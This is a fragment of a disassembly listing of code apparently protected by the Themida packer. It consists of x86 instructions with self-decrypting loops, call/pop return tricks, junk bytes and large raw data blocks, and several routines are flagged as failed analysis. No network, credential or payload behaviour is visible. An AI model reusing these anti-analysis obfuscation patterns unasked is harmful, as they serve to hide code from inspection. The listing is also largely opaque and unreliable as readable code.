		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_59027A
; ---------------------------------------------------------------------------
		db 0C7h, 0A9h, 0B0h
		dd 0D327FE49h, 0E1ADB850h, 0C5030618h, 0FE1AE0FFh, 60277E61h
		dd 410F5D6Dh, 0EBED39C2h, 0A242268Bh, 0BB4304Ch, 8E5B481Fh
		dd 0F79D1ACAh, 0C7374916h, 0FC8223C1h, 720D6A2Ch, 410112E1h
		dd 0A13D00FDh, 20F01384h, 0D042799h, 70B561E1h,	0ECD40117h
		dd 5E6B3165h, 4DD7288Bh, 0CC92566Ch, 0C86736E3h, 121C6D58h
		dd 0B9B47D0Fh, 0D80D1200h, 0B3F30414h, 0D1E354F1h, 85875F3Eh
		dd 0F59B71D0h, 654F19BCh, 6FA957CAh, 0DC48083Dh, 50412D7Dh
		dd 13E8187Ah, 61000000h, 5281C675h, 0B173519Ah,	78FDAC27h
		dd 97565687h, 72B5552Eh, 8B665058h, 0C0815BDAh,	61A2h
		dd 3A68EA8Ah, 60000018h, 8B66D38Bh, 605E61DAh, 0FD68B66h
		dd 28Ch, 61585200h, 13E930FFh, 92000000h, 82E20198h, 0E8BF804Ah
		dd 0E2F90882h, 0D1D2E04Ah, 805A19A5h, 0EA81EAC9h, 6DF07081h
		dd 0FDCF8166h, 1CEA813Dh, 0F0B0900h, 0EA81C8B7h, 342BC3CEh
		dd 1D5FBA60h, 896128B1h, 0CEBF0F10h, 6604E883h,	0F4EDA8Bh
		dd 0FFFFAF85h, 5E8FFh, 66EE0000h, 0E8149E11h, 13h, 71490D5Ah
		dd 41EEA554h, 505C3B81h, 6370144Fh, 0E9804F7Ch,	7, 6F9DC34Ch
		dd 5936918Ch, 32E95Bh, 60DF0000h, 552h,	0Bh dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5EA338
; ---------------------------------------------------------------------------
		push	618E4DEh
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	618E558h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		push	618E6B3h
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		xchg	eax, ecx
		add	[edi], cl
		retn	6329h
; ---------------------------------------------------------------------------
		db 0ACh, 5Fh, 0C6h
		dd 65FE4BC4h, 0FF98E52Ah, 4434818Eh, 0FF107D71h, 9D7219B2h
		dd 36D9B750h, 0D13E50E9h, 535BAA84h, 4DF84334h,	9A536A47h
		dd 0BDE419F6h, 0F842D2B5h, 3BA6B14Dh, 93147AA8h, 0B481B575h
		dd 5C6D00CBh, 0E0A9DE31h, 0B71461AEh, 8C7AEh, 49F1EF4Ah
		dd 394E56B5h, 4A4DF1CFh, 0F78803Fh, 6C4DF1CFh, 0A9C1F661h
		dd 4DF1CEE2h, 0F451D211h, 0FFEE020Ch, 0FAE733C6h, 0AE583393h
		dd 2D1E824h, 9B3A0000h,	0EDD4DDAEh, 0F817752Eh,	26DFF665h
		dd 35DAB465h, 61C22D00h, 0D9ACE12Eh, 7568E646h,	949F49F1h
		dd 0DBB36343h, 0C1548B4h, 384F6625h, 56D25730h,	0B8192443h
		dd 300338D7h, 0EA613D9Dh, 39444568h, 876E7704h,	0F503C0C8h
		dd 65704756h, 70788FA6h, 4356BF17h, 0B5C65964h,	0F2E936D9h
		dd 0BEB4D3DBh, 0BCC74356h, 99761829h, 0CE67621Ah, 642BD016h
		dd 2D3h, 0C512FD94h, 62AF602Ch,	14EC1C9h, 9BE82768h, 37848B02h
		dd 0D806E47h, 6F1CB502h, 0D6BA53A0h, 3B53EC39h,	5EAD87D4h
		dd 0F8443156h, 9F75524Dh, 0DD325B14h, 316C754Ah, 0C8FD1278h
		dd 604245F5h, 364147DFh, 37040CCBh, 6549F639h, 9A2DE2ACh
		dd 9CEBF352h, 164DF842h, 0F7029A75h, 7914CD8Ch,	0DDB04996h
		dd 0A7E5FD32h, 0D14DF842h, 25D352BDh, 0D145E24h, 259A168h
		dd 771A0000h, 0DAB24B98h, 3B4FE835h, 0A1EE87D4h, 588216Eh
		dd 0E8CDBD0Ah, 3B888706h, 0D926E9A2h, 72BF5040h, 0D5AB5D9h
		dd 0ABDCE433h, 0D84DF844h, 931425FBh, 0C5CEC428h, 875CEFD6h
		dd 0D0D8977Eh, 49F6B66Bh, 75121A31h, 64DF7FDh, 152068FBh
		dd 0B638B9E0h, 7DD9404Ch, 0A3E848DBh, 504DF783h, 0CDE4AD34h
		dd 0F783C2C5h, 23B6C14Dh, 0A4C6DEB6h, 16D0B24h,	725D0000h
		dd 0F5BEF31Ch, 32297699h, 0E12E621Bh, 0DF5F5631h, 871A2547h
		dd 0FDBCA9B2h, 0D9971D7Ch, 0BB4EAA66h, 0DE4A444Ch, 323D49F1h
		dd 39D6BA73h, 0B99E3104h, 0F1DDEAA1h, 4FC0D04Dh, 0E039511Ah
		dd 592C61AEh, 0F23B9EEh, 0C9E50DD2h, 9C117118h,	33C624AEh
		dd 18000000h, 1C0A5AEh,	0F17ECDF9h, 38581149h, 3CCFA2D7h
		dd 9CB4E9F4h, 4DF180EFh, 1B50BFCBh, 9CD13E52h, 19BE23D7h
		dd 850CD5F1h, 24AEDF0Dh, 0A7DAh, 1C722C00h, 98F5BEF3h
		dd 15794277h, 19848B04h, 9C731BE4h, 5B0A674Fh, 1E7047DFh
		dd 117932F1h, 116E6BFEh, 435A1908h, 0DF634C3Bh,	91242F47h
		dd 5FF1A22h, 0D1DC49F2h, 87345912h, 0F40E087Fh,	36D9B24Dh
		dd 0DB28939Eh, 0C2C5CDE4h, 0C14DF40Dh, 7B1223B6h, 97911594h
		dd 3CE1EBADh, 0FE75h, 3DD2BF00h, 0DA3557F0h, 7996F48Dh
		dd 13FC932Ch, 0AF602DC6h, 0AB437262h, 47E02DE2h, 0E57ECB44h
		dd 7E1764ABh, 0D8B2FF10h, 46068189h, 98754DF8h,	0A01B72C2h
		dd 0BC6CA3E7h, 47DF5FCBh, 444CADB8h, 7A1360CBh,	0F8AEFB14h
		dd 0BEF31C72h, 297699F5h, 1FDEC3CCh, 0F1ADE917h, 0AC9D449h
		dd 153C51h, 0AE5CF6D8h,	7C93F758h, 0AFDCC411h, 0B4DF1B4h
		dd 0A63F8C83h, 2CF328E7h, 83h, 51363E55h, 324DF1B4h, 0AE669427h
		dd 8001C0A5h, 1DBBB83Bh, 0D0D89748h, 47E04DB7h,	0B726B9C4h
		dd 0F72790AFh, 0E3182349h, 4E9B741Ah, 1DF29E57h, 718215E8h
		dd 7C93FC1Dh, 0C7C4DC11h, 264AA1F4h, 0FDB6CF12h, 0DCED808Fh
		dd 0E72867B2h, 0E4672028h, 9144D31h, 0D6B8519Eh, 543B0439h
		dd 0F2DE86BBh, 759AF4EFh, 0BCFF8F28h, 31E4D3B4h, 44A5B04Dh
		dd 0BC8FC44Bh, 8551C51h, 0BF000000h, 503AF322h,	72FE2CBFh
		dd 0F2BBF01Fh, 753E739Ch, 0F6BFF41Bh, 7C457A95h, 0C9FE11h
		dd 844D828Dh, 6CF040Bh,	8D568B84h, 0D4DB10FFh, 6CAD68h
		dd 24048900h, 405E089h,	83000000h, 48704E8h, 89565C24h
		dd 4C681E6h, 83000000h,	348704EEh, 0C895C24h, 0E7895724h
		dd 4C781h, 0EF830000h, 243C8704h, 242C895Ch, 18E3E168h
		dd 240C8B06h, 5404C483h, 83242C8Bh, 815104C4h, 4E7D242Ch
		dd 458F1D70h, 8458108h,	1D704E7Dh, 5D2434FFh, 4C481h, 0C8B0000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		db 91h,	6Dh, 33h
; ---------------------------------------------------------------------------


loc_5EA338:				; CODE XREF: Themida_:005E9E98j
		mov	eax, 618E7D6h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		align 2
		dw 55AAh
		dd 0F365787Fh, 0DAFD5C3Dh, 0A32FF10h, 0B59A4C0Fh, 6039E1Ch
		dd 0A1BAE912h, 0B4762237h, 143B6403h, 439F7A6Bh, 1A086F66h
		dd 7D456379h, 282FAD78h, 0DF567611h, 0FA93482Dh, 7715041Eh
		dd 8C884D05h, 6E5C5C2Ah, 0F9EF223Eh, 0D006590Fh, 37C2666Ah
		dd 0AF71DA32h, 25A32429h, 1B3F1A7Ch, 0DF83C44Ch, 2DDDD823h
		dd 64CA0B27h, 0BACD60Dh, 0B13AC173h, 0B6B66A0Fh, 5E803h
		dd 0ABD30000h, 805E900Dh, 0B35913DFh, 0F9C18123h, 6000006Fh
		dd 47BE6660h, 61A9B7D6h, 0CE88BA66h, 1BBC6861h,	14E90000h
		dd 30000000h, 0E18B827Dh, 0CD5DD1BAh, 139AC44Ch, 0BD7A226Fh
		dd 5E47620Dh, 0FFFE8B66h, 10E86031h, 0BA000000h, 881E7B33h
		dd 96673CD4h, 0AE2D7DDDh, 60FC2A62h, 8E85961h, 0F4000000h
		dd 0EECA325Dh, 0BE9D85D8h, 54E0DA9Bh, 6658615Bh, 81CCA2BAh
		dd 550401E8h, 2FBA665Fh, 96C0817Bh, 0F1EDF0Ah, 0E881D3B7h
		dd 2B7EFCC7h, 18820F60h, 0E9000000h, 13h, 9BD5618Eh, 267693E5h
		dd 0F9057F42h, 4B44CDC5h, 80D4E2EBh, 506108D4h,	2810F56h
		dd 51000000h, 18F5B5Bh,	689CBB66h, 0F02E983h, 582h, 0F7816600h
		dd 49495569h, 1EE81F5h,	0F000000h, 1085h, 1BA6600h, 25E99Dh
		dd 0B10D0000h, 0B0D30739h, 0EE9B3h, 0D1020000h,	7ECD87F5h
		dd 0E71B250Dh, 8AE3083Ch, 0FFFF3AE9h, 0BC0B4EFFh, 8D8E74BFh
		dd 18EADF8Dh, 0C2816606h, 890F94D3h, 6,	21A5958Bh, 8D890612h
		dd 6122DCDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	6DC35141h, 8E20302Ch, 0A5EBA66h, 31BD85C7h, 5B9C0612h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 0DF75C0C3h, 7D95897Bh, 57061216h,	11840Fh
		dd 0CE90000h, 34000000h, 0F69095AFh, 0B5D754DBh, 5F334F45h
		dd 1185C7h, 612h, 0BB660000h, 0B5FFEA34h, 61214C1h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 37C35545h, 0D38B0B3Fh
		dd 29019D89h, 95FF0612h, 6122781h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 26C35040h, 6AF935h,	29D195FFh
		dd 0C08B0612h, 8D1F4CEBh, 2B5E176Dh, 1AE22958h,	938873D2h
		dd 0DEA94DABh, 7C077CDBh, 46046BB3h, 90C39103h,	33057974h
		dd 7AEEBCCCh, 8D2191F1h, 3E7019CFh, 4AAF5C2h, 9570F6A7h
		dd 0C864287Bh, 9C6EA445h, 0F9D56F3Ch, 56974E75h, 3BCE10A6h
		dd 8D8D02C3h, 618EC13h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 43C35242h, 98C174B8h,	92FA3006h, 0C5858B60h
		dd 0E8061218h, 11h, 0B3463410h,	19E8FC95h, 6937DA6Bh, 5B6489EFh
		dd 59DFB5EDh, 0CD8D8961h, 6A06122Dh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0BC20C352h
		dd 6880FE2h, 9000000h, 121D2DBDh, 0BD85C706h, 80061231h
		dd 9000071h, 122F39B5h,	1185C706h, 61200h, 0F000000h, 685h
		dd 9DBD0100h, 0FF061213h, 1231F1B5h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 5C836471h
		dd 0E8816918h, 6F60F5D6h, 0D3B70F52h, 8195FF5Bh, 80061227h
		dd 6A2DC3h, 29D195FFh, 0C08B0612h, 0CB307EEBh, 6D6FA4A4h
		dd 428362F1h, 0E3328CFAh, 42B54274h, 0F3E4BF2Ch, 9C5F1EA8h
		dd 7349FF7Fh, 9793F4A9h, 9BBFE945h, 36905507h, 6F8603EDh
		dd 0A91FF9FFh, 0D1C6C5F8h, 353DE431h, 0BC213E41h, 0E522706Dh
		dd 79818FF4h, 0D5EEB148h, 0F79888F2h, 0D876BD4Dh, 0B39153BDh
		dd 718327EEh, 0DD8CDB4Eh, 0A62A4CEBh, 546308BCh, 1845A1Fh
		dd 269DD856h, 0B480197Fh, 0E02F3081h, 746B8341h, 0C72FEDAAh
		dd 0FE8h, 75B1F100h, 0EAEB1396h, 0B8C65A11h, 0BFF95F61h
		dd 0E95BF28Bh, 11h, 0ED17021Fh,	65D3AA5Ah, 0B04454AAh
		dd 3DAE4EDAh, 88C38187h, 89000064h, 120C41B5h, 18F6BF06h
		dd 95330000h, 612038Dh,	89500B8Bh, 121AC985h, 0F1815806h
		dd 569974DAh, 32099529h, 0F1810612h, 798ECC4Bh,	706FF081h
		dd 0C1812F09h, 117A0B31h, 0DA816651h, 38FC6CCh,	11D9BD01h
		dd 0EB830612h, 664BF803h, 0F4FF38Bh, 2085h, 0FE95000h
		dd 52000000h, 4AD0A8C5h, 145A4F76h, 6A25925Dh, 0E95EBD3Ch
		dd 15h,	7463E8D6h, 48B866C2h, 0FF92E91Fh, 27A8FFFFh, 0D85D2AEDh
		dd 208D8DCAh, 0B60618EEh, 0CD8D8933h, 6A06122Dh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 52E9C357h, 0D1D78072h, 60A1E670h, 9D29D18Bh,	6120B71h
		dd 0BD85C761h, 7C061231h, 6A000062h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 67D9C356h
		dd 0A62612ADh, 1185C7h,	612h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 11236C3h
		dd 0BF9BC7D4h, 6FED16A6h, 25B1B5FFh, 6A0612h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 912D1EC3h
		dd 95FFE68Ah, 6122781h,	0DB816660h, 6A61B829h, 0D195FF00h
		dd 8B061229h, 0BE0EEBC0h, 6CC6966Eh, 0BF6FC62Bh, 0F725B1C1h
		dd 0F68D8D50h, 6A0618EEh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 7DB4C350h, 0BF6660FEh
		dd 880F4B45h, 0
; ---------------------------------------------------------------------------
		popa
		mov	bh, al
		mov	[ebp+6122DCDh],	ecx
		mov	ax, cx
		mov	dword ptr [ebp+61231BDh], 6554h
		push	0
		push	esi
		call	sub_5EA95D
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EA95D	proc near		; CODE XREF: Themida_:005EA955p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_5EA95D	endp

; ---------------------------------------------------------------------------
		and	[ebx-4046C96Ch], esp
		sub	ebp, [ebx]
		push	edi
		test	[eax-7Fh], ah
		retf	20D6h
; ---------------------------------------------------------------------------
		mov	eax, ds:0E9B58B1Dh
		add	dl, [edx]
		push	es
		popa
		mov	dword ptr [ebp+6120011h], 0
		add	ax, 80FAh
		push	dword ptr [ebp+6122D79h]
		push	0
		push	edi
		call	sub_5EA9A5
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EA9A5	proc near		; CODE XREF: Themida_:005EA99Dp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_5EA9A5	endp

; ---------------------------------------------------------------------------
		stosd
		fist	word ptr [ecx-5F8E0259h]
		mov	edi, edi
		xchg	eax, ebp
		and	dword ptr [edi], 0EE810612h
		lodsb
		mov	dl, 0D3h
		pop	ds
		push	0
		call	dword ptr [ebp+61229D1h]
		mov	eax, eax
		jmp	short loc_5EA9F4
; ---------------------------------------------------------------------------
		db 85h,	0C7h, 22h
		dd 0B38AD662h, 0C0A8E99h, 0F7DBE790h, 0C3AB99B6h, 2150EEB2h
		dd 0E31E249Eh, 579CB740h
; ---------------------------------------------------------------------------


loc_5EA9F4:				; CODE XREF: Themida_:005EA9D3j
		call	loc_5EAA0B
		scasb
		mov	dl, 0ABh
		mov	ds:32F3066Dh, al
		lock retn
; ---------------------------------------------------------------------------
		mov	eax, ds:8F255D9h
		leave
		ja	short loc_5EAA82


loc_5EAA0B:				; CODE XREF: Themida_:loc_5EA9F4p
		mov	ecx, [ebp+61228D1h]
		pop	eax
		mov	ecx, [ebp+61210E9h]
		add	eax, 5CB1h
		mov	cx, 5ECDh
		mov	edi, 20F837EEh
		add	edi, 0DF07DF1Dh
		jp	loc_5EAA37
		mov	dx, 6630h


loc_5EAA37:				; CODE XREF: Themida_:005EAA2Dj
					; Themida_:005EAA79j
		mov	esi, [eax]
		jb	loc_5EAA45
		mov	[ebp+61210BDh],	eax


loc_5EAA45:				; CODE XREF: Themida_:005EAA39j
		sub	esi, 50CFE0E4h
		mov	dl, 3
		xor	esi, 6B41A0C5h
		mov	dl, ah
		add	esi, 56BB620Ah
		push	esi
		mov	ecx, esi
		pop	dword ptr [eax]
		xor	cl, 82h
		sub	eax, 1
		sbb	dx, 9D62h
		dec	eax
		dec	eax
		dec	eax
		push	ebx
		mov	[ebp+6121D59h],	edx
		pop	ebx
		sub	edi, 1
		jnz	loc_5EAA37
		xor	cl, 56h


loc_5EAA82:				; CODE XREF: Themida_:005EAA09j
		call	sub_5EAA9B
		bound	eax, [ecx]
		test	[esi+406420A6h], ah
		outsb
		xor	bl, 4
; ---------------------------------------------------------------------------
		db 8Eh
		dd 0E428FB8Fh
		db 0BAh, 46h, 69h

; =============== S U B	R O U T	I N E =======================================



sub_5EAA9B	proc near		; CODE XREF: Themida_:loc_5EAA82p
		pusha
		mov	dx, ax
		mov	cx, ax
		popa
		pop	ebx
		jmp	loc_5EAAB4
; ---------------------------------------------------------------------------
		db 0Bh,	74h, 0Ah
		dd 0CE16D42Ah, 99729561h
; ---------------------------------------------------------------------------


loc_5EAAB4:				; CODE XREF: sub_5EAA9B+9j
		add	ebx, 6206h
		push	1862h
		xor	[ebp+6122E2Dh],	eax
		pop	edx
		mov	[ebp+612178Dh],	edx


loc_5EAACC:				; CODE XREF: sub_5EAA9B+62j
		mov	eax, [ebx]
		movzx	edi, di
		xor	eax, 2736A761h
		mov	cl, 5Bh
		sub	eax, 672878C4h
		sub	eax, 650A9C99h
		jnp	loc_5EAAED
		mov	cl, bl


loc_5EAAED:				; CODE XREF: sub_5EAA9B+4Aj
		mov	[ebx], eax
		add	[ebp+61219CDh],	edx
		sub	ebx, 4
		mov	cl, 0E6h
		sub	edx, 1
		jnz	loc_5EAACC
		mov	esi, [ebp+6122E9Dh]
		lea	ecx, [ebp+618F0E6h]
		push	esi
		mov	al, cl
		pop	edx
		mov	[ebp+6122FFDh],	esi
		mov	[ebp+6122DCDh],	ecx
		push	0
		push	edx
		call	sub_5EAB2A
		and	[edx-3Dh], bl
sub_5EAA9B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5EAB2A	proc near		; CODE XREF: sub_5EAA9B+87p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_5EAB2A	endp

; ---------------------------------------------------------------------------
		dw 4BE4h
; ---------------------------------------------------------------------------
		pusha
		movzx	eax, dx
		popa
		mov	dword ptr [ebp+61231BDh], 60F0h
		mov	al, 1
		mov	dword ptr [ebp+6120011h], 0
		push	0
		push	edx
		call	sub_5EAB62
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EAB62	proc near		; CODE XREF: Themida_:005EAB5Ap

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_5EAB62	endp

; ---------------------------------------------------------------------------
		dw 856Fh
		dd 0FFC5525Ah, 1214C1B5h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 0B3940E59h
		dd 0E660C7E3h, 0C5852B51h, 1061232h, 1218BD95h,	8195FF06h
		dd 89061227h, 121CC1B5h, 0FF006A06h, 1229D195h,	0EBC08B06h
		dd 1D84764Ch, 4953D569h, 0AB18C8Fh, 0D9587B65h,	1D24734Eh
		dd 0DCCB2C9h, 0B7910F1Bh, 0A5158DB7h, 2462D885h, 0F0421122h
		dd 0B378C933h, 94D32B87h, 0A17C5DE6h, 8ABA20DCh, 8D56DCCFh
		dd 0B8E9A4BEh, 8E7049AAh, 7624F643h, 62DACCB1h,	0FC8D8DDEh
		dd 600618F1h, 18A5BD09h, 0BD230612h, 6122645h, 0CD8D8961h
		dd 0F06122Dh, 58Dh, 0F7816600h,	0CE80246h, 95000000h, 677B7A98h
		dd 0F16BEEAFh, 8958BF30h, 1208858Dh, 85C75806h,	61231BDh
		dd 72DCh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	92C35242h, 1185C7FCh, 61200h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 60AFC353h, 0A5858960h, 8B06122Fh, 0FF6161FBh, 1229B1B5h
		dd 0BF0FF806h, 8195FFC3h, 0F061227h, 10E9DBB7h,	14000000h
		dd 0C89863ECh, 0BBDE89B9h, 80AD1DE0h, 6A0462F8h, 0D195FF00h
		dd 8B061229h, 0E64AEBC0h, 8BA73FC3h, 29F67E94h,	439D8FC0h
		dd 0C7487FCFh, 0E4B8D3CFh, 12FE3A0Ah, 1F055D19h, 9F0013C5h
		dd 1A332BA7h, 2B218799h, 0D23DDBA5h, 1CDDAF2Ch,	18D99A4Ah
		dd 8930CB3Ch, 3D1890D7h, 80547641h, 0C9A8B459h,	781F0257h
		dd 0C98D8DB9h, 890618F2h, 122DCD8Dh, 0C794B606h, 1231BD85h
		dd 711806h, 99953300h, 0F061221h, 688h,	6DBD3100h, 0C706121Ch
		dd 12001185h, 6, 0D9B58B00h, 89061222h,	12271995h, 41B5FF06h
		dd 8B061208h, 8195FFDAh, 6A061227h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 98BDC350h
		dd 3F492312h, 9D89B2EDh, 61228C1h, 95FF006Ah, 61229D1h
		dd 1AEBC08Bh, 0DCE4A58h, 0DCE5FA75h, 17F36104h,	4A8DAA94h
		dd 3F67CBE1h, 52E578FBh, 0FE8BF36h, 0F1000000h,	0C69BA0E1h
		dd 3C3E42DFh, 75E3E931h, 0B70F1A70h, 0C2815AFAh, 62FFh
		dd 0BD8BC933h, 61224D5h, 661134FFh, 5BF72CBEh, 911DF681h
		dd 0C3815ED3h, 30BC4065h, 6E9h,	4AC34300h, 81763347h, 89DD95C3h
		dd 0FE48027h, 469EC381h, 89FC0212h, 0EE80A1Ch, 71000000h
		dd 762CAB24h, 644CED89h, 49EFA9FCh, 0A18D0183h,	5F06122Dh
		dd 6002E983h, 348D9589h, 11E90612h, 9C000000h, 0E802D62Ah
		dd 0B4735EEFh, 9EA2824Ah, 399209E7h, 8B494961h,	121559BDh
		dd 0BCF98106h, 0FFFFF9Dh, 0D85h, 0C6BF0F00h, 15E9h, 7EB94700h
		dd 0BD8BB141h, 6120335h, 0FFFF67E9h, 549F37FFh,	8D8D7FFBh
		dd 618F4A7h, 68B0Fh, 95890000h,	6121451h, 2DCD8D89h, 880F0612h
		dd 0Ah,	4850Fh,	0BE660000h, 85C76F2Ah, 61231BDh, 6AB8h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 3BC35747h
		dd 0B4833C90h, 1185C75Ah, 61200h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 44CCC355h, 0F9FA91E8h, 2DBD8D29h, 0B5FF0612h, 6120C89h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 41C35141h
		dd 0D014EFFEh, 14E986h,	0EB7C0000h, 0BDAECEADh,	0C7874F59h
		dd 0B7D9A354h, 64D857EFh, 95FF0478h, 6122781h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0D3C35141h, 0B1329A3Dh
		dd 1591958Bh, 0BF660612h, 6A618Dh, 29D195FFh, 0C08B0612h
		dd 6A7A4AEBh, 8357009Bh, 410219A1h, 0F13D88CDh,	8B4198D2h
		dd 4CA2581Eh, 94AE27D3h, 94B2E113h, 0F5DC8407h,	159A5EA4h
		dd 866F578Ch, 0EC93DB13h, 0C6106ED0h, 0AF94DAB6h, 68F275F5h
		dd 63CF57ECh, 9C0ED14Dh, 17E9ADDCh, 7413793Ah, 0FE8h, 0BD284A00h
		dd 0A83DE9E3h, 5F8D3138h, 0AB166B35h, 68C0Fh, 95290000h
		dd 6122EF1h, 7D9D8B5Eh,	81061227h, 6C12C6h, 159D8B00h
		dd 0BA061204h, 0
; ---------------------------------------------------------------------------
		jmp	loc_5EB01B
; ---------------------------------------------------------------------------
		db 9Bh,	0D9h, 0BFh
		dd 31ED8C8Bh, 743E4A28h
		db 3Fh,	2Eh, 6Dh
; ---------------------------------------------------------------------------


loc_5EB01B:				; CODE XREF: Themida_:005EB008j
					; Themida_:005EB093j
		mov	edi, [esi+edx]
		pusha
		jmp	loc_5EB030
; ---------------------------------------------------------------------------
		dd 0AB34E372h, 11A0B9Ch, 0CCAD510Ch
; ---------------------------------------------------------------------------


loc_5EB030:				; CODE XREF: Themida_:005EB01Fj
		popa
		add	edi, 42FD8A22h
		mov	bl, cl
		xor	edi, 206EF7A8h
		pusha
		push	edi
		movsx	ebx, ax
		pop	edi
		xor	ah, 33h
		popa
		sub	edi, 0E4F2617h
		push	edi
		sub	ecx, 6BE1B196h
		pop	ebx
		push	edi
		mov	cx, 8DD2h
		pop	dword ptr [esi+edx]
		mov	eax, ecx
		pusha
		push	ecx
		jnb	$+6
		pop	edx
		jmp	loc_5EB07B
; ---------------------------------------------------------------------------
		db 0A1h
; ---------------------------------------------------------------------------
		lds	esp, [ebp+6Ch]
		shr	dh, 1
		mov	ah, 0D6h
		db	64h
		scas	byte ptr es:[edi]
		sti


loc_5EB07B:				; CODE XREF: Themida_:005EB06Aj
		popa
		sub	edx, 2
		sub	[ebp+6120B39h],	eax
		dec	edx
		dec	edx
		mov	[ebp+612304Dh],	ebx
		cmp	edx, 0FFFF94B4h
		jnz	loc_5EB01B
		mov	ebx, [ebp+612328Dh]
		call	sub_5EB0A9
		pushf
		into
		iret
; ---------------------------------------------------------------------------
		db 0D0h
; ---------------------------------------------------------------------------
		dec	ebx

; =============== S U B	R O U T	I N E =======================================



sub_5EB0A9	proc near		; CODE XREF: Themida_:005EB09Fp
		and	ch, 7Bh
		pop	ebx
		mov	[ebp+6120C8Dh],	ecx
		add	ebx, 7324h
		movzx	ecx, di
		mov	esi, 1C9Ch
		mov	ecx, 7DFB7F2Ch


loc_5EB0C6:				; CODE XREF: sub_5EB0A9+A0j
		mov	eax, [ebx]
		mov	edx, 32D45612h
		sub	eax, 2053A7EEh
		sub	eax, 4D98A5E6h
		movsx	edi, cx
		sub	eax, 3A786C47h
		mov	edi, [ebp+6122C45h]
		mov	[ebx], eax
		push	edi
		jmp	loc_5EB101
; ---------------------------------------------------------------------------
		dd 35C8B439h, 1CE2636Eh, 0D6A31B61h, 7AF03309h
		db 63h
; ---------------------------------------------------------------------------


loc_5EB101:				; CODE XREF: sub_5EB0A9+42j
		pop	edi
		sub	ebx, 2A8BE833h
		jmp	loc_5EB11D
; ---------------------------------------------------------------------------
		db 0DEh, 55h, 51h
		dd 0B52220B4h, 0F594F822h, 31FC8C4Ch
		db 0A9h
; ---------------------------------------------------------------------------


loc_5EB11D:				; CODE XREF: sub_5EB0A9+5Fj
		add	ebx, 2A8BE82Fh
		xor	[ebp+6122685h],	edi
		dec	esi
		jnz	loc_5EB143
		mov	[ebp+6123435h],	edx
		jmp	loc_5EB15C
; ---------------------------------------------------------------------------
		db 50h
		dd 0D368DFECh
		db 0A3h, 8Eh, 0ACh
; ---------------------------------------------------------------------------


loc_5EB143:				; CODE XREF: sub_5EB0A9+81j
		sbb	edx, 4F1768E8h
		jmp	loc_5EB0C6
; ---------------------------------------------------------------------------
		dw 0A6F1h
		dd 3F41C449h, 5006B855h, 89FBDE49h
; ---------------------------------------------------------------------------


loc_5EB15C:				; CODE XREF: sub_5EB0A9+8Dj
		call	near ptr loc_5EB172+2
		add	[eax+5A98757Bh], sp
		neg	dword ptr [edi]
		mov	dword ptr [ebx+esi*8+40h], 6E95B527h


loc_5EB172:				; CODE XREF: sub_5EB0A9:loc_5EB15Cp
		sub	esi, 0FFFFFF8Bh
sub_5EB0A9	endp ; sp-analysis failed

		mov	ebp, 6121435h
		pop	esi
		xor	dh, 0F7h
		add	esi, 5D2Ch
		push	edi
		pop	edi
		xor	eax, eax
		mov	[ebp+6121F15h],	esi


loc_5EB18E:				; CODE XREF: Themida_:005EB1FDj
		mov	ebx, [esi+eax]
		mov	edi, [ebp+61218C5h]
		add	ebx, 5D79320Dh
		jo	loc_5EB1A6
		mov	cx, di


loc_5EB1A6:				; CODE XREF: Themida_:005EB19Dj
		sub	ebx, 162C81C1h
		movsx	edx, ax
		xor	ebx, 7F052BF7h
